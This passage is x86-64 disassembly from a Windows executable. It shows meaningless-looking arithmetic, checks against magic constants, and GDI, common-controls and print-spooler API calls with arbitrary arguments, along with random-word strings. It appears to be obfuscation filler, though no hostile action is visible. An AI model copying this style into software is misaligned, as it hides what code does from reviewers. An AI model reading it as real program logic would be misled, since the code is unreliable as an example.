mov rcx, qword [rsp + 0x4cf0]
mov word [rcx], ax
mov eax, dword [rsp + 0x28bc]
mov rcx, qword [rsp + 0x4c58]
mov qword [rsp + 0x4d58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d58]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x27ec], eax
mov rax, qword [rsp + 0x4ad8]
mov eax, dword [rax]
mov dword [rsp + 0x28c8], eax
mov rax, qword [rsp + 0x4d08]
mov rax, qword [rax]
mov rcx, qword [0x140169c40]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4c98], rax
mov rax, qword [rsp + 0x4cc0]
mov rcx, qword [rsp + 0x4c50]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4c90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ac0]
movzx eax, word [rax]
movzx ecx, word [0x140168a7c]
add eax, ecx
mov word [rsp + 0x9b0], ax
mov rax, qword [rsp + 0x4ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab4]
sub eax, ecx
mov rcx, qword [rsp + 0x4c10]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b40]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140169c68]
mov byte [rcx], al
movzx eax, byte [rsp + 0x129]
mov rcx, qword [rsp + 0x4c80]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x128]
mov rcx, qword [rsp + 0x4c80]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x126], al
mov rax, qword [0x140169c48]
mov rcx, qword [rsp + 0x4d40]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4c98], rax
mov rax, qword [rsp + 0x4b08]
mov rcx, qword [rsp + 0x4cd0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c90]
mov qword [rcx], rax
mov eax, dword [0x140168a78]
mov ecx, dword [rsp + 0x28bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x27ec], eax
mov eax, dword [rsp + 0x27c0]
mov ecx, dword [rsp + 0x2798]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28c8], eax
jmp 0x14001aade
mov rax, qword [rsp + 0x4c90]
mov rax, qword [rax]
mov qword [rsp + 0x4d60], rax
movabs rax, 0x85a8401b2918d580
cmp qword [rsp + 0x4d60], rax
je 0x14001b027
movabs rax, 0x4009a72e1a1ad9d7
cmp qword [rsp + 0x4d60], rax
je 0x140146b89
jmp 0x140146c6c
mov rax, qword [rsp + 0x4cc0]
mov rcx, qword [rsp + 0x4b50]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4c50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c68]
movzx eax, byte [rax]
mov byte [rsp + 0x28d0], al
cmp byte [rsp + 0x28d0], 0x84
je 0x14001b066
jmp 0x14001b082
mov rax, qword [rsp + 0x4b28]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x27ac]
call fcn.140148a70
nop
jmp 0x140146ad4
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov dword [rsp + 0x28d4], eax
cmp dword [rsp + 0x28d4], 0x14f36088
je 0x14001b11f
cmp dword [rsp + 0x28d4], 0x54eca53a
je 0x14001b0b2
jmp 0x14001b1d5
mov rax, qword [rsp + 0x4ac0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b88]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
movsx eax, word [rsp + 0xac0]
mov rcx, qword [rsp + 0x4ca8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xab8], ax
lea r9, [rsp + 0x4d68]
mov r8d, 0x82
mov edx, 0xf0
mov rcx, qword [rsp + 0x4d70]
call qword [sym.imp.GDI32.dll_SetBitmapDimensionEx]
mov dword [rsp + 0x28d8], eax
jmp 0x14001b1d5
mov rax, qword [rsp + 0x4ae8]
movzx eax, byte [rax]
mov byte [rsp + 0x28dc], al
cmp byte [rsp + 0x28dc], 0xa6
je 0x14001b13d
jmp 0x14001b1b9
mov rax, qword [rsp + 0x4c68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4c80]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c00]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x125], al
mov rax, qword [rsp + 0x4b80]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x4c98]
movzx r8d, byte [rsp + 0x125]
movzx edx, byte [rsp + 0x125]
mov rax, qword [rsp + 0x4b38]
movzx ecx, word [rax]
call fcn.140148200
nop
jmp 0x14001b1d5
mov rax, qword [0x140169c58]
mov ecx, dword [rsp + 0x2830]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4cc0]
mov rax, qword [rax]
mov qword [rsp + 0x4d78], rax
movabs rax, 0x85a8401b2918d580
cmp qword [rsp + 0x4d78], rax
je 0x14001b37f
movabs rax, 0x75f9448ac32d9f8c
cmp qword [rsp + 0x4d78], rax
je 0x14001b219
jmp 0x14001b3cd
mov rax, qword [rsp + 0x4b48]
movzx eax, byte [rax]
mov byte [rsp + 0x28e0], al
cmp byte [rsp + 0x28e0], 0xc
je 0x14001b34f
cmp byte [rsp + 0x28e0], 0x29
je 0x14001b248
jmp 0x14001b37d
mov rax, qword [rsp + 0x4b28]
mov rcx, qword [rsp + 0x4b70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov edx, dword [rsp + 0x27ac]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jbe 0x14001b313
mov r9d, 0x5f
lea r8, [fcn.140148200]
lea rdx, str.nudist_flyovers_Tarrier_Goslings_Algorithm
mov rcx, qword [rsp + 0x4cc8]
call qword [sym.imp.GDI32.dll_EnumFontsW]
mov dword [rsp + 0x2830], eax
mov rax, qword [rsp + 0x4c90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ba0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b08], rax
mov eax, dword [rsp + 0x27c0]
mov ecx, dword [rsp + 0x2888]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x4d30]
call qword [sym.imp.GDI32.dll_UpdateColors]
mov dword [rsp + 0x28d8], eax
mov rax, qword [rsp + 0x4d40]
mov rcx, qword [0x140169c40]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4bc0], rax
jmp 0x14001b34d
mov rax, qword [rsp + 0x4d08]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4c98]
shr rax, cl
mov rcx, qword [0x140169c48]
mov qword [rcx], rax
mov edx, dword [rsp + 0x2798]
mov rax, qword [rsp + 0x4b70]
mov ecx, dword [rax]
call fcn.140148a70
nop
jmp 0x14001b37d
mov dword [rsp + 0x20], 0xcf
mov r9d, 0x8e
mov r8d, 0xbd
mov edx, 0xf7
mov rcx, qword [rsp + 0x4ca0]
call qword [sym.imp.GDI32.dll_Ellipse]
mov dword [rsp + 0x28e4], eax
jmp 0x14001b3cd
mov rax, qword [0x140169c60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab8]
shl eax, cl
mov rcx, qword [rsp + 0x4c10]
mov word [rcx], ax
lea rax, [rsp + 0x12a]
mov qword [rsp + 0x4d80], rax
movzx eax, byte [rsp + 0x129]
mov rcx, qword [rsp + 0x4ae8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4c80]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc0]
mov rax, qword [rax]
mov rcx, qword [0x140168a88]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b08]
mov rdx, qword [rsp + 0x4cd0]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jle 0x14001b45f
movsx eax, word [rsp + 0xab4]
mov rcx, qword [rsp + 0x4ca8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4bf8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cd0]
mov rcx, qword [rsp + 0x4ba0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b50], rax
mov eax, dword [rsp + 0x2830]
mov ecx, dword [rsp + 0x28bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bf0]
mov dword [rcx], eax
jmp 0x14001b4e6
mov eax, dword [rsp + 0x2888]
mov ecx, dword [rsp + 0x27ac]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov edx, dword [rsp + 0x28c8]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jae 0x14001b4e6
mov r8d, reloc.COMCTL32.dll_DrawInsert
lea rdx, [rsp + 0x12a]
mov rcx, qword [rsp + 0x4cb0]
call qword [sym.imp.GDI32.dll_Polyline]
mov dword [rsp + 0x27a0], eax
mov rax, qword [rsp + 0x4c00]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x4d40]
mov r9, qword [rax]
mov rax, qword [rsp + 0x4b40]
movzx r8d, byte [rax]
movzx edx, byte [rsp + 0x125]
movzx ecx, word [0x140168a7c]
call fcn.140148200
nop
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x128]
sub eax, ecx
movzx ecx, byte [rsp + 0x127]
mov rdx, qword [rsp + 0x4c80]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jge 0x14001b569
mov rax, qword [0x140169c48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c98]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d08]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x4d88]
call qword [sym.imp.GDI32.dll_GetTextCharacterExtra]
mov dword [rsp + 0x27ec], eax
mov rax, qword [rsp + 0x4ad8]
mov rcx, qword [rsp + 0x4b28]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x27ac], eax
mov rax, qword [rsp + 0x4b08]
mov qword [rsp + 0x4d90], rax
movabs rax, 0x1b437a7797801911
cmp qword [rsp + 0x4d90], rax
je 0x14001b592
jmp 0x14001b6a0
movsx eax, word [0x140169c50]
mov rcx, qword [rsp + 0x4bf8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4ca8]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0xabc]
xor ecx, edx
cmp eax, ecx
jne 0x14001b5fb
movsx eax, word [rsp + 0xabc]
movsx ecx, word [rsp + 0xac0]
sar eax, cl
mov rcx, qword [0x140169c60]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x9b0], ax
mov dword [rsp + 0x40], 0xff
mov dword [rsp + 0x38], 0xc1
mov dword [rsp + 0x30], 0xd6
mov rax, qword [rsp + 0x4d98]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x87
mov r9d, 3
mov r8d, 0xaf
mov edx, 0x28
mov rcx, qword [rsp + 0x4d88]
call qword [sym.imp.GDI32.dll_BitBlt]
mov dword [rsp + 0x279c], eax
movsx eax, word [rsp + 0xabc]
mov rcx, qword [rsp + 0x4ca8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4bf8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4b48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x129], al
movzx ecx, byte [rsp + 0x127]
call fcn.140147df0
nop
jmp 0x140146a95
mov rax, qword [rsp + 0x4c00]
movzx eax, byte [rax]
mov byte [rsp + 0x12d], al
mov rax, qword [rsp + 0x4ce0]
mov rcx, qword [rsp + 0x4b50]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4b08], rax
mov rax, qword [rsp + 0x4ac0]
movzx eax, word [rax]
mov dword [rsp + 0x28e8], eax
cmp dword [rsp + 0x28e8], 0
je 0x14001b71a
cmp dword [rsp + 0x28e8], 0x9e6
je 0x14001b6fe
jmp 0x1401469c3
mov rax, qword [rsp + 0x4b70]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x2798]
call fcn.140148a70
nop
jmp 0x1401469c3
lea rax, [rsp + 0x12d]
mov qword [0x140169c70], rax
mov rax, qword [rsp + 0x4c68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x128]
sub eax, ecx
mov byte [rsp + 0x127], al
lea rax, [0x140169c50]
mov qword [rsp + 0x4da0], rax
mov rax, qword [rsp + 0x4d50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x930]
add eax, ecx
mov rcx, qword [rsp + 0x4cf0]
mov word [rcx], ax
movsx eax, word [rsp + 0xac0]
mov dword [rsp + 0x28ec], eax
cmp dword [rsp + 0x28ec], 0xe21
je 0x14001b792
jmp 0x14001b7b1
movsx eax, word [rsp + 0xab4]
movsx ecx, word [rsp + 0xa08]
add eax, ecx
mov word [rsp + 0xab8], ax
jmp 0x14001b917
mov rax, qword [rsp + 0x4b38]
movzx eax, word [rax]
mov dword [rsp + 0x28f0], eax
cmp dword [rsp + 0x28f0], 0
je 0x14001b7d2
jmp 0x14001b8e7
movsx eax, byte [rsp + 0x125]
movsx ecx, byte [rsp + 0x12b]
add eax, ecx
mov rcx, qword [0x140169c70]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x12a]
add ecx, edx
cmp eax, ecx
jle 0x14001b877
movsx eax, word [rsp + 0xa08]
mov dword [rsp + 0x28f4], eax
cmp dword [rsp + 0x28f4], 0xc35
je 0x14001b858
cmp dword [rsp + 0x28f4], 0x1616
je 0x14001b827
jmp 0x14001b875
mov rax, qword [rsp + 0x4c98]
mov rcx, qword [rsp + 0x4bc0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d08]
mov qword [rcx], rax
movzx ecx, byte [rsp + 0x126]
call fcn.140147df0
nop
jmp 0x14001b875
mov r8d, 0x87
mov rdx, qword [rsp + 0x4da8]
mov rcx, qword [rsp + 0x4af0]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
nop
jmp 0x14001b8e5
mov eax, dword [rsp + 0x27c0]
mov rcx, qword [rsp + 0x4b70]
mov qword [rsp + 0x4db0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4db0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4ad8]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x2888]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x14001b8e5
mov eax, dword [rsp + 0x2830]
mov rcx, qword [0x140169c58]
mov qword [rsp + 0x4db8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4db8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x4bf0]
mov dword [rcx], eax
jmp 0x14001b917
mov rax, qword [rsp + 0x4b28]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x4b88]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x4da0]
movzx edx, word [rax]
movzx ecx, word [rsp + 0xab4]
call fcn.140148540
nop
lea rax, [rsp + 0x4cd0]
mov qword [rsp + 0x4dc0], rax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov dword [rsp + 0x28f8], eax
cmp dword [rsp + 0x28f8], 0
je 0x14001b958
cmp dword [rsp + 0x28f8], 0x4617ca65
je 0x14001baa8
jmp 0x14001baff
mov rax, qword [rsp + 0x4ba0]
mov qword [rsp + 0x4dc8], rax
movabs rax, 0x85a8401b2918d580
cmp qword [rsp + 0x4dc8], rax
je 0x14001ba58
movabs rax, 0x4f25dd67ab4273cc
cmp qword [rsp + 0x4dc8], rax
je 0x14001b999
jmp 0x14001baa6
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x27c0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x27ac], eax
mov rax, qword [rsp + 0x4ad8]
mov eax, dword [rax]
mov dword [rsp + 0x28fc], eax
cmp dword [rsp + 0x28fc], 0x159068cc
je 0x14001ba17
cmp dword [rsp + 0x28fc], 0x22c9e240
je 0x14001b9e2
jmp 0x14001ba56
mov rax, qword [rsp + 0x4c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x140169c58]
mov dword [rcx], eax
lea rcx, [rsp + 0x1dc50]
call qword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [rsp + 0x2900], eax
jmp 0x14001ba56
movzx eax, byte [rsp + 0x12a]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x4d40]
mov r9, qword [rax]
mov rax, qword [rsp + 0x4c70]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x4b18]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x4ac0]
movzx ecx, word [rax]
call fcn.140148200
nop
jmp 0x14001baa6
movzx eax, word [0x140168a7c]
mov rcx, qword [rsp + 0x4d50]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
movzx eax, byte [rsp + 0x127]
mov rcx, qword [rsp + 0x4c68]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4b48]
mov byte [rcx], al
lea rax, [rsp + 0x12d]
mov qword [rsp + 0x4dd0], rax
jmp 0x14001baff
movsx eax, byte [str.Eo_Bl__e]
movsx ecx, byte [rsp + 0x12a]
add eax, ecx
mov rcx, qword [rsp + 0x4c00]
mov byte [rcx], al
mov r8d, 1
mov rdx, qword [rsp + 0x4dd8]
mov rcx, qword [rsp + 0x4b68]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0x2900], eax
mov eax, dword [rsp + 0x2830]
mov ecx, dword [rsp + 0x28bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x27ec], eax
movzx eax, word [rsp + 0xab0]
mov dword [rsp + 0x2904], eax
cmp dword [rsp + 0x2904], 0
je 0x14001bb1d
jmp 0x14001bc04
mov rax, qword [rsp + 0x4b28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x27ac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov rdx, qword [rsp + 0x4ad8]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
ja 0x14001bbf3
lea rax, [rsp + 0x4bc0]
mov qword [rsp + 0x4de0], rax
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2798]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c90]
mov rax, qword [rax]
mov qword [rsp + 0x4de8], rax
movabs rax, 0x2fe6fd08a15b3f28
cmp qword [rsp + 0x4de8], rax
je 0x14001bbbc
movabs rax, 0x4d56e44f41875787
cmp qword [rsp + 0x4de8], rax
je 0x14001bbcf
jmp 0x14001bbf3
mov rax, qword [rsp + 0x4ad0]
movzx ecx, byte [rax]
call fcn.140147df0
nop
jmp 0x14001bbf3
mov rax, qword [rsp + 0x4dc0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4b50]
sar rax, cl
mov rcx, qword [rsp + 0x4ce0]
mov qword [rcx], rax
lea rax, [rsp + 0x9b0]
mov qword [0x140169c78], rax
jmp 0x14001bc21
movzx eax, word [rsp + 0x930]
mov rcx, qword [rsp + 0x4b88]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xab0], ax
mov rax, qword [rsp + 0x4b28]
mov rcx, qword [rsp + 0x4ad8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov ecx, dword [rsp + 0x28c8]
mov edx, dword [rsp + 0x27c0]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x14001bd90
lea rax, [rsp + 0xabc]
mov qword [rsp + 0x4df0], rax
mov rax, qword [rsp + 0x4ad8]
mov eax, dword [rax]
mov dword [rsp + 0x2908], eax
cmp dword [rsp + 0x2908], 0
je 0x14001bceb
cmp dword [rsp + 0x2908], 0xb1b2c5a8
je 0x14001bc8e
jmp 0x14001bd90
mov r8d, 0x6e
mov rdx, qword [rsp + 0x4af0]
mov rcx, qword [rsp + 0x4af0]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
mov rax, qword [rsp + 0x4df0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xabc]
and eax, ecx
mov rcx, qword [rsp + 0x4ca8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x12b]
mov rcx, qword [rsp + 0x4ae0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x12d], al
jmp 0x14001bd90
mov rax, qword [rsp + 0x4de0]
mov rax, qword [rax]
mov qword [rsp + 0x4df8], rax
movabs rax, 0xc4f8611adef20ace
cmp qword [rsp + 0x4df8], rax
je 0x14001bd14
jmp 0x14001bd90
mov rax, qword [rsp + 0x4ad8]
mov ecx, dword [rsp + 0x2888]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
lea r8, [rsp + 0xabc]
lea rdx, [fcn.140147d00]
mov rcx, qword [rsp + 0x4da8]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x290c], eax
mov rax, qword [rsp + 0x4d40]
mov rcx, qword [0x140169c40]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4c98], rax
mov rax, qword [rsp + 0x4bf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2830]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4dc0]
mov rax, qword [rax]
mov qword [rsp + 0x4e00], rax
movabs rax, 0x1edb035a0f1a9f43
cmp qword [rsp + 0x4e00], rax
je 0x14001bdd0
movabs rax, 0x34c0b4de2185a0fa
cmp qword [rsp + 0x4e00], rax
je 0x14001be32
jmp 0x14001bef0
mov rax, qword [rsp + 0x4cc0]
mov rcx, qword [rsp + 0x4b08]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
lea rax, [rsp + 0xac0]
mov qword [0x140169c80], rax
lea rax, [rsp + 0x12c]
mov qword [rsp + 0x4e08], rax
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4ae0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x12a], al
jmp 0x14001bef0
mov edx, 0x32
mov rcx, qword [rsp + 0x4e10]
call sub.WINSPOOL.DRV_ScheduleJob
mov dword [rsp + 0x27d4], eax
movzx eax, word [rsp + 0x9b0]
movzx ecx, word [rsp + 0x930]
add eax, ecx
mov word [rsp + 0xab0], ax
mov rax, qword [rsp + 0x4ba0]
mov qword [rsp + 0x4e18], rax
movabs rax, 0x26b27a87883fbeec
cmp qword [rsp + 0x4e18], rax
je 0x14001be9f
movabs rax, 0x2af2998fcea81276
cmp qword [rsp + 0x4e18], rax
je 0x14001bed7
jmp 0x14001bef0
movzx eax, byte [rsp + 0x12c]
mov rcx, qword [rsp + 0x4b48]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c68]
mov byte [rcx], al
mov edx, dword [rsp + 0x2798]
mov rax, qword [rsp + 0x4b70]
mov ecx, dword [rax]
call fcn.140148a70
nop
jmp 0x14001bef0
mov edx, 0x1f
mov rcx, qword [rsp + 0x4c48]
call sub.WINSPOOL.DRV_ScheduleJob
mov dword [rsp + 0x2910], eax
mov rax, qword [rsp + 0x4c10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab8]
sub eax, ecx
mov rcx, qword [0x140169c80]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x4ca8]
movsx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jne 0x14001bfbc
mov rax, qword [rsp + 0x4c10]
movsx eax, word [rax]
mov dword [rsp + 0x2914], eax
cmp dword [rsp + 0x2914], 0x262c
je 0x14001bfa1
cmp dword [rsp + 0x2914], 0x3f6f
je 0x14001bf52
jmp 0x14001bfbc
mov eax, dword [rsp + 0x2888]
movzx ecx, al
mov eax, dword [rsp + 0x28c8]
shl eax, cl
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d08]
mov r9, qword [rax]
movzx r8d, word [rsp + 0x9b0]
mov rax, qword [rsp + 0x4d40]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x4d50]
movzx ecx, word [rax]
call fcn.140147d00
nop
jmp 0x14001bfbc
mov rax, qword [0x140169c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2900]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x4cc0]
mov rcx, qword [rsp + 0x4c90]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4cc0]
mov qword [rcx], rax
lea rax, [rsp + 0x4bc0]
mov qword [rsp + 0x4e20], rax
mov rax, qword [rsp + 0x4c98]
mov qword [rsp + 0x4e28], rax
movabs rax, 0x62db678e2a016c64
cmp qword [rsp + 0x4e28], rax
je 0x14001c019
jmp 0x14001c13f
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4cf0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d50]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x4ac0]
movzx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jle 0x14001c07d
mov rax, qword [rsp + 0x4ad8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4b28]
mov qword [rsp + 0x4e30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e30]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x27ac], eax
movzx eax, word [0x140168a7c]
movzx ecx, word [rsp + 0xab0]
sub eax, ecx
mov word [rsp + 0x930], ax
lea r9, [rsp + 0x4c48]
mov r8d, 0xe0
lea rdx, [rsp + 0x4ab8]
mov rcx, qword [rsp + 0x4e10]
call sub.WINSPOOL.DRV_WritePrinter
mov dword [rsp + 0x2918], eax
mov rax, qword [rsp + 0x4bf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2900]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c50]
mov rcx, qword [rsp + 0x4ce0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4ba0], rax
mov rax, qword [rsp + 0x4bc0]
mov rcx, qword [rsp + 0x4c98]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d08]
mov qword [rcx], rax
mov edx, 0x88
mov rcx, qword [rsp + 0x4ab0]
call sub.WINSPOOL.DRV_ScheduleJob
mov dword [rsp + 0x291c], eax
jmp 0x140146896
movzx eax, byte [rsp + 0x127]
movzx ecx, byte [rsp + 0x129]
shl eax, cl
mov rcx, qword [rsp + 0x4c68]
mov byte [rcx], al
movzx eax, word [rsp + 0xabc]
mov word [0x140169c88], ax
lea rax, [rsp + 0x126]
mov qword [rsp + 0x4e38], rax
movzx eax, byte [rsp + 0x125]
mov byte [rsp + 0x2920], al
cmp byte [rsp + 0x2920], 0x4e
je 0x14001c1a2
cmp byte [rsp + 0x2920], 0x61
je 0x14001c209
jmp 0x14001c23c
mov rax, qword [0x140169c58]
mov eax, dword [rax]
mov dword [rsp + 0x2924], eax
cmp dword [rsp + 0x2924], 0xdf193d2
je 0x14001c1f3
cmp dword [rsp + 0x2924], 0x2842274b
je 0x14001c1ce
jmp 0x14001c207
mov rax, qword [rsp + 0x4ca8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4c10]
mov word [rcx], ax
jmp 0x14001c207
mov rcx, qword [rsp + 0x4e40]
call sub.WINSPOOL.DRV_FindClosePrinterChangeNotification
mov dword [rsp + 0x27a0], eax
jmp 0x14001c23c
mov rax, qword [rsp + 0x4d40]
mov r9, qword [rax]
mov rax, qword [rsp + 0x4bd8]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x4e20]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x4b38]
movzx ecx, word [rax]
call fcn.140147d00
nop
movzx eax, byte [rsp + 0x129]
mov byte [rsp + 0x2928], al
cmp byte [rsp + 0x2928], 0
je 0x14001c268
cmp byte [rsp + 0x2928], 0xa7
je 0x140146630
jmp 0x140146748
mov rax, qword [rsp + 0x4d50]
movzx eax, word [rax]
mov dword [rsp + 0x292c], eax
cmp dword [rsp + 0x292c], 0x10
je 0x14001c29a
cmp dword [rsp + 0x292c], 0xb52
je 0x14001c354
mov rax, qword [rsp + 0x4c58]
mov eax, dword [rax]
